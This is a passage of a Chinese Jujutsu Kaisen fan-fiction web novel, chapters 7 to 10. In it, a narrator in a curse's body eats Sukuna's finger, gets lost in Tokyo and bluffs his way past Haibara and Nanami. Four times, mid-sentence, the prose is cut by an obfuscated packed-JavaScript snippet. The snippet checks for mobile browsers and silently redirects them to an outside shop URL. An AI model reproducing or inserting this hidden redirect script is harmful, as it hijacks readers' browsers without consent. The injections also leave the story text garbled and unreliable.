《身为coser的我要在二次元薅羊毛》 7. 第 7 章 7 该说不说,我的一通胡说八道还是很有道理的,和脑花打交道的好处就在,我说话遮遮掩掩就像完形填空,她自然会想办法把卷子填成满分。 我的评价是,牛。 其他因素仍在探索,但至少我这个咒灵的身份算是做实了。在咒灵阵营的日子,可比在咒术师阵营里的时候惬意多了。 自由、无拘无束。 任何不合理的要求,我都能毫不避讳、不找任何理由地拒绝。比如脑花委婉地表达着想要研究一下我的身体构成部分,果断就被我拒绝了回去,而且我的拒绝不需要委婉。 我也是真怕我被找出什么极其不合理的部分来。 更何况,谁知道脑花会整什么幺蛾子,他现在看我的眼神都饥渴得要命。 离我远一点,我没有想要和你组CP的意思。 比起和她的相处,还是陀艮小宝贝更好拿捏——他就像是一个非常典型的攻略游戏,我只要每天抽时间和他互动几次,他的好感度就会持续上涨。 先把好感度刷上去,撬墙脚——不对,应该是捕捉野生咒灵球的成功率才会更高。 和他相比,反倒是花御总是沉默。不过她就像是个鸡妈妈一样,对比她诞生晚的陀艮和我都非常照顾,甚至承担起了投喂的责任。 花御,人如其名,她的咒力是素食的味道。 我原本以为会像花蜜一样甜,但事实证明,咒灵的咒力远不如咒术师的好吃。 我啃花御就像是在生啃西兰花,连焯水的工序都没有的那种生啃。 要说难吃的话,也不至于,只是不如咒术师来的口感好。 等等,我好像被开发出了什么奇怪的属性。 脑花每隔一段时间就会神秘出行,我怀疑她是回家带孩子去了。 毕竟虎子可是未来男主角,当然得随时关照着。 可话又说回来了,在我剧本的存在之下,虎子的男主人公剧本,真的还存在吗? 很快,脑花就帮我推进了答案。 “你给我带回来的这是……两面宿傩的手指?”我捻过那根带着长长指甲的红色手指,这个实物是任何谷子都做不出来的质感。 干瘪得没有一点真实的肉感,黄色的封纸一圈一圈地缠绕在外,可却因为一点点的松垮就流露出幽深的诅咒。 不仅是我,就连旁边的陀艮都被吸引了过来,触须浮动着,想要舔两口的样子。 “嗯,我这几天就是在做这件事,手指的位置是我十几年前偶然发现的,但之前一直没有获取它的条件,直到现在。” 脑花还一脸期盼地看着我。 虽然但是,她不会是想要让我就这样生吞下去吧? 我的脸在某个瞬间都扭曲了一下。 “我注意到,你的咒力一直处在饥饿之中,恐怕普通的咒力完全无法满足你的需求。”她慈爱的眼神看得我脊背发凉。 这家伙,打着什么坏主意? “所以,我就想到了这根手指。和你的咒力同源,对你——不,其实对任何咒灵来说,都是最好的补品。” 两面宿傩的手指确实能帮任何咒灵实现借机跨越,这也是手指的封印一旦泄露,就会吸引大批咒灵的原因。 脑花靠近我,在我耳边轻轻地说道:“你,其实还没有完全成型,对吧?” 我捂住耳朵就是一个后撤步。 别离我这么近啊,大姐! 我可是正经人。 看我有这样的反应,脑花反而一阵了然。 “就把这个,当作是我的赔罪吧。虽然实非我本意,但把那两个咒术师吸引到了那里确实也是我的失误。” 总感觉,她给自己脑补了完整的前因后果。 以为是咒术师破坏了我的成型轨迹? 用宿傩的手指来赔罪——你这么做,宿傩本人知道吗? 生吞手指完全不在我的计划之内,毕竟是人形手指,很容易造成我的生理不适。 但气氛已经烘托到这里了,房间里的三个咒灵都紧紧地盯着我,我现在是骑虎难下。 万一,我是说万一——宿傩的意识真的跟到我意识里怎么办? 我不要和别人共用一个身体啊,喂! “怎么了?不喜欢我的礼物吗?”脑花就坐在我面前,视线灼灼地盯在我身上。 虽然不知道她在试探些什么,但她毫无疑问是在试探。 我只能硬着头皮接下去,“喜欢,怎么不喜欢?” 我把手指上的封印纸一层一层揭开,里面浓厚的诅咒瞬间冲击在陀艮的生得领域上,撞得海浪阵阵,连笔直的海岸线都扭曲了几秒。 威力确实可观。 我本想着实在不行,我就憋住气当吞药一样吞下去。没承想剥开之后,这个味道闻着,竟然还相当不错! 像卤鸡爪,也像酱猪蹄。 冷盘王者。 我的口水一下子就要流出来了。 我舔了舔嘴——其实仔细想想,啃手指有什么可怕的,我不是经常掏钱去啃鸡和猪的手指吗? “既然是你的歉礼,那我就不客气了。”我把最后一点封印纸扯掉,“陀艮,给我舀一点水来。” “水?” 脑花疑惑地看向我。 “不然呢,这根手指有多少年没有洗过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12946218|136544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?就是吃腊肉也得清理一下吧?”我理所当然地把手指清洗干净,然后在上面刷了一层我的秘制酱料——制作酱料主要是为了让花御的咒力口感丰富一点,不然我是真的吃不下。 就我这个酱料,沾鞋底都好吃。 酱料的材料从哪里来的? 拜托,不会真的以为我是家里蹲,完全不出门吧? 虽然花御和陀艮是穷逼,但有一个人类家庭的脑花是有在人类世界生存的能力的。 这不是偷盗,只是合理的索取报酬。 谁叫她要把我拉到这个阵营,让我痛失了五条悟的副卡。 上次的我可一点不愁钱花。 “还、还挺讲究。”脑花不懂,但脑花大为震惊。 我戴上一次性手套,把两面宿傩的手指沾满了料汁,“生活嘛,过得就是一个仪式感。” 沾鞋底都好吃的东西,沾肉当然也是好吃的。 而且平心而论,两面宿傩手指的基础味道就相当不错,不愧是千年老尸,卤料都腌入味了,连骨头都酥脆可口。 更重要的是——饱腹感十足! 这个咒力的量,可比花御强了不止一点半点。 吞下去之后,我的咒力一下子就躁动了起来,身上的咒纹颜色好像更浓了,黑色也在加深、在发烫。 肚子里的谷子似乎在和这个正牌手指相互battle——正所谓一肚不容二指,我的身体我做主,要是闹肚子,我就吃泻药把两面宿傩用另一种不可言说的方式搞出来。 到时候恶心的肯定不是我。 “恶心的是我!” 谁在说话? 我左右看看,发现周围的脑花、花御、陀艮三人组都没有开口的征兆。 但是就在一瞬间的突然,陀艮发出了一声悲鸣,触须紧绷了起来,他将自己团成了更小的团子蹲在了角落。 紧接着,周围的阳光沙滩便开始褪色,天空骤然变暗,冲刷在我的脚丫子上的海水也变了颜色,红黑红黑的。 “喂,你在往哪看?” 这一次,声音清晰了。 我抬头,看到了由骨头堆积的王座上,穿着女式浴衣、跷着二郎腿、单手撑下巴俯视我、蔑视我,一脸狂炫酷霸拽的宿傩大爷。 我知道,我本该是一个构图完美的经典镜头,用以表现宿傩大爷的王霸之气,但是—— 我能感受到的,就只有一阵强烈的羞耻,让我脚趾扣出迪士尼城堡的那种羞耻。 家人们,谁懂啊,他用的是我的脸啊! 救命,我穿着女式浴衣、我的脸在歪嘴龙王笑! 这和公开处刑有什么区别。 8. 第 8 章 8 有时候,我真是打心底里佩服虎子。 他是怎么做到在生得领域里和宿傩大爷相亲相爱、相爱相杀的,难道看着和自己一样的脸,就不觉得别扭吗? 尤其是宿傩这旁若无人的邪魅一笑。 邪魅一笑——谁懂啊,邪魅一笑这种东西竟然真的能出现在我的脸上。 我嘴角抽抽,不论是狠话还是好话,我都有一种照镜子的既视感。这种自娱自乐,只有在我孤单一人的时候才会有趣。 当有另外一个意识在认真围观的时候,可就不好玩了。 “真是什么都敢想,胆子不小啊。” 两面宿傩身体前倾,伴随着他的动作,他王座下的头骨“库库”向下滚,滚到我的脚边。 但即使盯着人骨头的惊悚,也比盯着自己的脸摆极致中二的动作要好多了。 “把头抬起来。” 气泡音! 明明是我的声音,但说话的感觉却完全不同。 原来强行气泡音的感觉如此……别扭,羞耻感爆棚。 我是一句话都不好意思对着我自己的脸说,于是果断地切断了咒力和胃的联系,将生得领域挪动到了我看不到的地方。 眼不见,心不烦。 拜拜。 我眼前的画面一换,环境的漆黑更进一步,周围隐约有一股霉味和土味,看上去就是个标准的废弃房屋。 是了,陀艮的生得领域被两面宿傩的咒力给撕开了的。 被这样领域对领域的击溃,让陀艮的咒力略显紊乱。说实话,虽然是特级咒灵,但陀艮的担子却委实不算大。 所以,他完全无法迅速再布置生得领域。 “啪” 还是脑花在黑暗中打开了灯。 这栋房子、这个房间竟然还真的通着电。 我惊呆了。 “刚才那是——”脑花的眼睛眯眯着,一看就是在打着什么坏主意。 我就知道,天底下没有白吃的午餐。 两面宿傩的手指也不是白给我的,脑花真是想看看我吞噬手指后的反应。 受肉和咒灵吞手指会有什么差别吗? 我略微思考了一下,应该大差不差吧。 我不太确定,总觉得有刁民想要害朕。毕竟先前也没有想着要多了解咒灵的世界,不过问题不大,要是有Bug,我就打几个补丁上去,这活儿我熟。 “刚才的那是——”脑花不依不饶地看着我,显然是想再套点什么出来。 我没好气地把他的视线顶了回去,“看什么看,没见过父慈子孝的吗?” “父慈……子孝?”脑花被我的话顶得一愣,大概是完全没有想到我会用这样的话来怼她吧。 算了,不计较。 我也不是第一次给人当儿子了,换个角度想,总比给人当孙子的好。 这里先用这样的话糊弄一下。 “哦——我不知道这么多年过去了,我竟然还有个儿子?” 闭嘴吧两面宿傩,你能不能消停一点! 我一巴掌扇到自己的脸上。 这话是从眼睑下的裂缝嘴里传出来的。 一个脸上的嘴巴,是怎么发出如此……我真不想用“油腻”来形容自己的声音,但我是真的hold不住气泡音啊! 用我的脸、我的声音——甚至还是泡音拆我的台,两面宿傩,真有你的。 “毕竟不是哪个咒灵都有精力自己生孩子的,你说是不是啊,香织。”我摆出经典微笑emoji看着脑花。 这样意有所指的话说出口,脑花果然紧绷了起来,虎子可是她制造出来盛放两面宿傩的容器。 我这等于是在两面宿傩面前,被提及她打算利用两面宿傩的话题,果然还是太超过了。 脑花非常主动地转移了话题。 “说起来,一直待在这里恐怕也是闲得发慌,不如去外面找点事情做?”她摸了摸陀艮的头,似乎是想让他再次打开生得领域。 但陀艮只是悄悄地觑了一眼我的脸——准确地来说是我脸上的另外一套眼睛和嘴,并不敢造次。 看看宿傩你干的好事,这么好用的陀艮都被吓趴了! 两面宿傩只要在受封印状态,就是持续维系生得领域的状态。这意味着,任何人在我面前开领域,都等于直接和两面宿傩的生得领域对抗,一定会释放两面宿傩的精神力。 这也就难怪陀艮怂怂了。 等等——这也就意味着,我以后再也享受不了阳光、海滩、仙人掌了吗? 人间疾苦,我不仅丢了度假胜地,而且还招了两面宿傩这么一个大爹进入我的身体。 这一账,必须要记到脑花的头上。 没有了度假胜地,我就一点也不想待在这个鬼片大楼里了。 那些看过的恐怖电影,什么贞子、尸鬼、伽椰子,不断地在我大脑里循环。周围阴风阵阵,老旧的门发出“吱呀吱呀”的声音,让我后背发凉。 还是少在这种地方待。 我在心里默默循环着社会主义二十四字真言,紧绷着面孔开口,“是无聊得很,你有什么建议?” “接应我们的同胞。” 脑花伸出一根手指指向了窗外,顺着他的手指我能看到了成群的城市建筑,和东京高专正好是完全两个相斥的方向。 “我假设我们的这位‘同胞’也是特级。” 如果是普通的咒灵,恐怕根本就不会引起脑花的注意。 即使是对于花御、陀艮这样的纯咒灵,对“同胞”的定义也一定是有限制的,比如能够交流、有自我意识什么的。 否则很多低级咒灵之间原本就有互相吞噬的关系。 而特级几乎是一个门槛,一个区分普通咒灵和有自主思考能力咒灵之间的分界线。 当然,像咒胎九相图这样被创造出来的人和咒灵的混血要更特别一些,他们的自我意识几乎与生俱来。 这种所谓“与生俱来”的特质实际上也是遗传自他们人类的那一部分属性。 所以,咒灵的追求就是不断地进化,在杀死人类、吞噬人类的过程变得更像人类? 总觉得这个逻辑哪里怪怪的。 “当然,我能够感觉到,祂的诅咒非常深厚。”脑花对自己的判断相当自信,连日观察下来,她在目前这个小团体中的定位显然就是前哨,她并没有表现出强烈的攻击能力。 当然,对于咒灵来说,她在劫我狱的时候杀的人实际上并不算是“攻击能力”的表现。 花御对“同胞”有很深的执念和爱护,她马上凑了上来,“这次竟然是在城市内?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12946219|136544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯,很少见吧。虽说诅咒从人的意识中诞生——”脑花看了我一眼,歉意地补充道,“大部分的诅咒从人类的意识中诞生,但人类密集的地方却反而很难孕育强大的咒灵。一方面人类产生的诅咒也有相斥的属性,小咒灵的密集少不了会带来同类互食;同时,人类负面情绪产生的诅咒铺得分散,二级以下更喜欢分散地寄生在各种人身上;当然,更重要的是,咒术师们更容易清理城市中的咒灵,导致我们的同胞往往难有机会生长。” 甚至,像医院、产业园、墓地这样咒灵高发地带,定时定点都会有咒术师去清理,几乎不可能有高级咒灵的产生。 即使有,也会很快被发现。 在生长出自我意识之前,咒灵又很难主动离开诅咒氛围浓郁的城市圈,这就成为了一个死循环。 当然,这样的生态下,咒灵和咒术师反而维持了一定意义上的平衡。 脑花要做的,显然就是打破这种平衡。 这个工作可不能一蹴而就,但脑花的耐心显然不是一般人能想象的。 她所做的,可不仅仅是表面上那些看得到的工作——比如操纵星浆体事件、挑拨DK杰、再夺取杰哥身体;在看不到的地方,她的布置更多。 至少就我现在所知,她对咒术界各个家族的内部情况,说不定比家族本身还清楚。 我亲眼看到她有一个小本本,用来记录每一个家族的新生儿情况。 甚至,加茂家还有一个私生子专用小本。 什么是卷王中的卷王,看脑花就知道了。 不仅要卷,还要偷偷背着人卷。 “那这次呢,在城市中诞生的‘同胞’,没有被咒术师们发现吗?”我问。 “不,城市中的诅咒聚集很难瞒过「窗」的眼睛。”脑花遗憾地摇摇头,“咒术师们已经发布了关于他的任务。” “可恨的咒术师!”陀艮跟在我后面小声鸣叫了一句,红色的触须绷得很紧,像是成了一根根硬刺,攻击欲十足。 我拍了拍陀艮的头,让他冷静一下,脑花可不会说没有意义的话。既然提到了,就说明咒术师的级别肯定不够看。 “但是他们的主力现在正忙着追查你的下落呢,”脑花阴笑地看着我,“咱们对城市中正在诞生的同胞有规律性的判断,他们自然也有。” 也就是说,派出的咒术师等级不高,总监部恐怕也不那么重视。 那还有什么好接应的? 花御却有些担忧,“但是,诞生之初的同胞总有一个微妙的软弱期。” 额……有这个时期吗? 我回想了一下我自己的穿越过程——第一步,坐死了一个特级;第二步,和高专悟、高专杰battle了一波,甚至还嘲讽了五条猫;第三步,轻松掀翻了总监部封印室的屋顶…… 我好像没有疲软的过程。 我竟然也有生在罗马的一天,这个起点也太高了吧。 “所以,这里就需要我们的接应。”脑花看向了我,“就当是偿还上一次夺走了的属于你的‘乐趣’。” 再说一次,我真的没你那反社会的爱好,我只是去考察一下我未来的潜在员工。 简称,校招? 说真的,我要是能给人开实习证明,我这个二次元穿越司,就算发不出工资来,应该也不会再缺人了吧? 9. 第 9 章 9 我正在绝赞迷路中。 坑爹的脑花,嘴上说着团结互助,实际上就是把我一个人踢出来,他自己鬼迷日眼地不知道干什去么了。 陀艮需要重新建立一下新的基地环境以迎接新生的伙伴,而花御则是需要留下帮助陀艮改造生得领域。 没辙,总得想个办法让两面宿傩和陀艮的生得领域共存吧。 花御真的非常努力想要给新来的小伙伴留下一个好印象。 然后我就成了那个小丑,这才几天,我就已经不是花御最喜欢的宝宝了。 唉,一代新人换旧人,我已经是旧人了。 我深深叹了口气——抱怨归抱怨,但我实际上并不排斥出门。 实在是那个鬼屋没有一点让人想要宅下去的欲望。 我们御宅对某些环境还是很有要求的。 而且,咒灵的身体有点好用,不论是我的光头还是我有时候控制不住的咒纹都完全不会引人注目。 然后,按照脑花给的位置,我就愉快地迷路在了东京街头。 该怎么说呢,不出所料。 这些建筑是怎么做到哪儿哪儿都相似,并且一个路牌都没有的? 真的有人能顺利地在一个半陌生的城市,根据纸质地图精确地找到任何一个地方吗? 我不信。 我摸摸口袋——淦,我没手机,连神器高德都开不了。 这次的人设一点方向感加成都没有吗? 我严肃地拍打着自己的脸颊,把闭着眼睛的两面宿傩敲醒。 大哥,别睡了,都睡一千年了还没睡够吗? 起来帮帮忙。 脑花说话的时候都听到了吧,市中心……好像是东南——东南是哪个方向? “我怎么知道?找不到路就全部轰开,然后你就会找到了。即使那样再找不到,也一定会有人找上门来的,到时候随便抓个人不就知道了?” ……宿傩大爷,你其实不会也是个路痴吧? 只是因为太拽了,所以从来没有被人发现过。 “哼。” 不要“哼”我,咱们可是半斤八两,谁也别瞧不起谁。 “你要是不会,我可以教你,平推可比精确地杀死某个目标还要简单得多。” 你快闭嘴吧,我还没有真的成为众矢之的的打算。 从百鬼夜行到涩谷事变,这些搞大动作的,有几个有好下场? 宿傩大爷啊,你究竟把生命当做什么! 继国缘一脸.jpg. 珍惜生命,人人有责。 “怂包。” ……闭嘴。 那我现在怎么办? 我看了看旁边的商场,认真地思考零元购的可能性。 方向感不够,那就手机导航来凑。 我给自己打了打气,反正我现在的咒灵人设,只要我没有杀意,别人就根本看不到我,对吧? 别人看不到我,我当然就不会尴尬。 这么想着,我大义凛然地走了进去。 ——各位好市民不要学我,我现在是咒灵,如果我是人的话,就会变成法制咖。 手机的型号不重要,只要有导航功能,可以解决我现下的困境就够了。 我就近挑了一个电量看上去多的,拿起来就打算走。 然后——服务员小姐姐微笑地挡在了我面前。 第一秒,我以为她只是巧合地站在了这里。 但是第二秒,在我打算绕开她的时候,她开口了。 “这位先生,非常抱歉,您还没有付款哦。” 嗯? 谁? 我? 我左右看了看,确认没周围有任何其他人在,确认这句话确实是和我说的。 “不是,你能看得到我吗?” 我指着自己的脸。 服务员小姐姐完全掩饰不住那种看傻B的眼神,一副“不是吧,又来一个入魔了的死宅”的表情,“真是说笑了,我当然能看到您了,我看到您拿着商品准备离开,并且完·全·忘·记·结账这件事了呢!” 我身体一僵。 不对啊,那刚才那么一路我走过来,怎么感觉别人都没有看到我的样子。 难道只是单纯没有人搭理我? 我、我——我口袋空空,一毛钱都没有啊! 上次从脑花哪里坑来的现金早就挥霍没了。 怎么办,怎么办! ——“呵呵。” 宿傩你最好不要笑我,我要是被送进警察局,丢的也是你的人! 我紧张地不敢看店员小姐姐的眼睛。 “就算是光头纹身的黑|帮成员,也是要付·钱·的哦。”小姐姐一字一句的重音砸在了我的心口上。 我的冷汗一下子就冒了出来。 “您,不会没有钱支付账单吧?”小姐姐靠近过来,我看到她已经开始活动手腕,准备随时上来给我一个大逼斗的样子。 救命,谁来救救我! 过去的一幕幕在我眼前闪过——这是走马灯吧?怎么我连走马灯都出来了啊,喂! 就在这千钧一发的危急时刻,我眼睛一亮,视线穿过透明的玻璃,看到了一身在走马灯记忆中非常熟悉的制服,和那穿着制服的非常熟悉的脸。 我果断用这辈子能在公共场合用出来的最大的声音,大叫了一声,“嘿,灰原!灰原雄!” 门外的男生听到了我的声音——感谢咒术师敏锐的五感,不会被厚玻璃隔绝——一转头,他就看到了正在朝他招手的我。 幸运的是,他没有认出来我的咒灵身份。 “是在叫我吗?”他左右看看,发现确实没人之后,这才指向自己。 我疯狂点头,示意他进来找我。 灰原雄,真是个实诚的孩子,虽然他非常疑惑,但还是顺着我的意思走了进来。 我赶紧集中精力,将自己的诅咒都收敛起来,尽可能让自己显得无害。 “江湖救急,灰原好兄弟!”我一把将进门的灰原雄拉到了我身边来,急匆匆地问道,“你身上有钱吗,我出门忘带钱包了,快救救我!” 灰原雄一脸摸不着头脑地把自己的钱包摸了出来,让店员小姐姐愉快地开了一单。 咒术师不愧是咒术师,哪怕是一年级生,都很有钱。 新款iPhone都是随便买的。 付了钱,店员小姐姐的表情一下子就温柔了起来,那只仿佛能够随时天降正义的巴掌也变成了纤细柔弱的手指,给我递上了打包的包装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12946220|136544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盒和赠品。 “……那个,我们,认识吗?” 连钱都付了,灰原雄才一脸天然地问我。 天哪,这张脸实在是太纯良了,让我不忍直接跑路。 于是,我清了清嗓子,一本正经地胡编乱造,“我们这不就认识了吗。其实——我是你们五条学长的朋友来着。” 遇事不决,甩锅给五条悟就对了。 他锅多不压身。 “诶——!五条前辈的吗!”他惊叹了一句,眼中为数不多的一点点戒备马上就消解了下去,“七海还说学长肯定没朋友,这不是有的吗,哈哈哈哈哈!我就知道,五条前辈不可能那么孤寡的。” 明明是给五条猫辩护的话,但说出来后,我又总觉得这不是什么好话。 是我的错觉吗? 我嘴角略一抽动,赶紧绷住表情,一脸认真地点头,“没错,悟那么好的人,怎么会没朋友呢,哈哈哈哈哈哈——” “还没有请教,该怎么称呼你呢?”灰原雄瞪着他那双水灵灵的大眼睛看着我,又深深地给我的良心扎上了一箭。 “我、额……嗯,”总不能说我是两面宿傩或是宿傩子吧,这两天我都是这么自称的啊,赶紧想一个能报出来的名号,“我是——伏黑、甚尔,伏黑甚尔!五条悟的好朋友。” 救命,我究竟在说些什么玩意儿。 这个时候的爹咪是禅院还是伏黑来着? “原来是伏黑君啊,你也是咒术师吗?” “当然了,我当然也是。”我得赶紧想个办法绕开这个话题,不然一旦用起咒力、术式什么的,我诅咒的身份肯定是兜不住的。于是,我用力地把小票收据拍在了灰原的掌心,“顺便一提,你五条前辈还欠我一笔钱,这笔款子你回去记得让他给你报销。” “啊?”灰原雄在这个问题上表现得比“五条悟竟然有朋友”这件事更加惊讶,“五条前辈竟然会欠债?” 以五条悟那个家境,怎么想都是不会欠债的类型吧。 于是赶紧改变姿态,一脸委屈擦了擦眼角不存在的泪水,“这其实是补偿,你们五条前辈趁我睡觉的时候,剃光了我的头发,我、我——我那美丽的一头秀发,就这样,遭了毒手,呜呜呜呜——” 一口黑锅也是背,两口黑锅也是背。 锅多不压身,没差。 “这确实是五条前辈能做出来的事情呢。” 看见没有,连灰原雄都知道五条悟的调性! 这锅甩得不亏。 “悄悄告诉你,前几天夏油前辈的刘海消失了,我和七海就都觉得一定是五条前辈搞的鬼,但是夏油前辈最近的气压实在是太低了,我完全不敢去问。” 噗,我只扣了两口锅,原来削掉杰哥本体的锅也在五条猫的背上。 “你放心吧,这个补偿我一定会帮你和五条学长要回来的!”灰原一副燃起来了的少年模样,“相信夏油前辈也肯定会帮忙!” ……对不起,五条猫,但是,真的很好笑。 我咬住了口腔里的两颊肉,强行忍住了持续想要咧开的嘴角,认真拍了拍灰原的肩膀,“嗯,放手去做,有任何疑问,就请都记到我伏黑甚尔的头上。” 其实这个世界上本没有背锅人,甩的锅多了,也便有了背锅人。 10. 第 10 章 10 再强调一次,灰原雄真是个大宝贝! 这是什么人间小天使,我说什么他都信,我说什么他都捧场。 这是什么职业捧场王,事事有回应,情绪价值拉满。 简直不能更棒! 宝藏男孩实锤,只有这样的人才能推动我的交流欲望,和他一起在背后蛐蛐五条猫。 多好的人啊,让我想想有没有办法捞捞你。 你放心,就算捞不了你,我也至少把你捞回我的穿越司里去——四舍五入等于没死。 和他的聊天太过舒适,我的情绪被调动得相当饱满,以至于我差点忘记了自己之前差点当了法制咖的零元购原因。 手机、高德、找方向——嗷,我还有一个咒灵要接应的来着。 我有些愧疚于自己的上头,于是马上斟酌应该如何终结话题——对于我来说,和别人告别就像挂电话一样困难。 尤其是面对灰原这样亮晶晶的眼睛,“拜拜”这句话完全说不出口。 更多时候,我希望我自己是被告别的对象。 但现在不是考虑这些的时候,我得认真对待自己的工作。 万一这次的新咒灵是个三好员工呢? “咳咳,灰原,那个,我——” 我鼓起勇气开口,但话还没有说完,旁边的灰原就突然伸手,高呼了一声,“啊,七海!这里这里!” 我瞳孔一缩。 哦吼,七海也在? 我的注意力马上被吸引过去,工作什么都先一边儿待着去吧,快让我看看还没有被劳动摧残的七海是什么样的。 金色的头发、苍白的皮肤、立体的五官还有那身和灰原一样的学校制服。 当然,这些都不是重点,七海全身上下最突出的,应该是那双没有光的死鱼眼。 ……大哥,东京高专实际上是对等的高中吧? 所以七海你——应该还是个高中生,甚至是高中一年级的学生吧。 怎么能有这么看破红尘的眼神。 出、出家了? 说实话,咒术界究竟对你做了些什么? “灰原,你迟到了。”七海严肃地训斥,班主任范儿十足,“这已经是你这个月第四次迟到了,顺便一提,这个月次才过了不到一半。周末补课已经非常让人恼火了,更别提还要加塞任务……” “啊哈哈哈哈,不要在意这些细节嘛,周末这样一起出来玩不是很好吗——”灰原雄笑眯眯地揽住七海建人的肩膀,将他的脖子拉向自己,然后另一手指着我,像是揭幕惊喜一样,“快看看我遇到了谁!” 七海像是被闹得没辙,抬眼用相当无光的眼神看向了我。 “嗨嗐嗨!”我好像有点中了灰原的毒,被同化成了阳光开朗大男孩。 七海仔细打量着我,从头到脚,从内到外——不要误会,这个“内”指的是一种咒力探测。 但我可是立志不能郁郁久居人下、甚至要超越五条悟成为最强的男人,七海的段位完全不够看穿我。 我有意识地压低自己的咒力反应,这样在外人看来,我就可以无限接近于一个咒术师。 还是低级咒术师。 没办法,一旦咒力调高,我的诅咒感就会非常明显。 诅咒之王就在我体内啊,哄着不让他乱说话已经很困难了。 好在,有奇效。 七海也完全没有察觉到异常。 和我有关的劫狱事件对于总监部来说一定相当丢脸。 可以想象一下,他们紧锣密鼓地开着会,然后一致同意给我一个死刑,正准备庄严宣布,顺便执行一下的时候,发现我已经跑没影啦! 他们的封印房间和一众看守人员也全都没有啦! 只给他们留下了一地的烂摊子。 对于一个需要威信的组织而言,还有更尴尬的事吗? 有。 那就是他们很有可能一点关于我的头绪都没有找到。 毕竟有花御在,她战斗或许不够强,但论藏匿手段,那绝对是超一流的。不是谁都能在28悟脚下——字面意义上的脚下——把28悟的“战利品”救走的。 为了不当小丑,至少不要那么小丑,总监部肯定还是要稍微封锁一下消息的。 尤其是像我这个级别,正面和五条猫、杰哥硬刚诶,怎么也轮不到一年级来执行和我有关的任务。 这样想的话,灰原和七海不知道我的特征也是可以理解的。 毕竟我的光头是相当明显的特征。 灰原的粗线条没有认出我来,就说明,我的身份还没有闹得人尽皆知。 “这位是——?”七海果然没有在我身上看出端倪来。当然,他也一样没有get到灰原那惊喜的语气。 “这位就是你说的,‘绝不可能存在的五条前辈的好朋友’——亲爱的伏黑甚尔先生!”灰原超级兴奋地揭露着,“当然现在也是我的朋友了——我得说,这次可是我赢了,五条前辈是有朋友的!” “那个人的朋友?”七海听着这话连因为补课加班而变得死鱼一样的眼睛都睁开了,一字一顿地重复着,“除了夏油前辈以外的,那个人的,朋友?” “如假包换。”我接上了灰原的话,张开双手,展示着自己,“虽然他对我的秀发下了毒手,但我依然很爱他!” 能够随时给我背黑锅的人,谁不爱? 除去那一堆缺点,五条猫还是很讨人喜欢的吧! 嗯,相当讨人喜欢呢,人气第一角色。 跟着这样的角色混才有出路。 看我的认真脸——毕竟哪个不开眼的脑残作者才会对这样的角色下毒手呢? 肯定不会有的,对吧。 不会有的,对吧! 七海战术性后仰,用一种称得上敬畏的眼光看着我,像是想要确认我这样的人是否真实存在。 震惊到掉色,我发誓我有一瞬间看到他变成了黑白色。 这么无法接受五条悟有朋友这件事吗? 猫咪同志,你平时究竟都对七海做了什么,才让他如此坚定。 “等等,你们是怎么认识的?”七海在震惊过后,理智迅速回拢。 他和灰原是同级,一整个年纪只有他们两个人,这个亲密关系自不必多提,二人对彼此的了解非常深。 “为什么这么问?” “我们在同一级,灰原,你根本藏不住事。而除了上课,总监部还给我们排了补课和加班的一堆狗屎事,你去哪儿认识的‘新朋友’。” “不要吃醋啦,就算我有了新朋友,你依然是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12946221|136544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最好的朋友,七海海!” 灰原也叫他七海海! 彩蛋、彩蛋,这就是彩蛋。 那未来虎子再叫七海海的时候,灰原早就寄了,那岂不是超级扎七海的心? 我捂脸。 奇怪的虐点增加了。 “谁吃醋!重点是,你是怎么认识这个——”七海好像要说什么,但是又顾忌着我本人就站在这里,不能说出什么重话来。 真是很会照顾人心情呢,不愧是咒回唯一指定靠谱的大人,七海海。 “我遇到了麻烦,小悟悟拿走了我的钱包,但是灰原原帮了我!”我抢在灰原之前开了口,“不然我就要打电话给小悟悟了,你们知道接下来会发生什么吗?” “虽然这样说不好,但五条学长绝对会在电话里嘲笑你呢!” 灰原大义凛然,还完全不知道我又在无形中甩了一口新锅给五条猫。 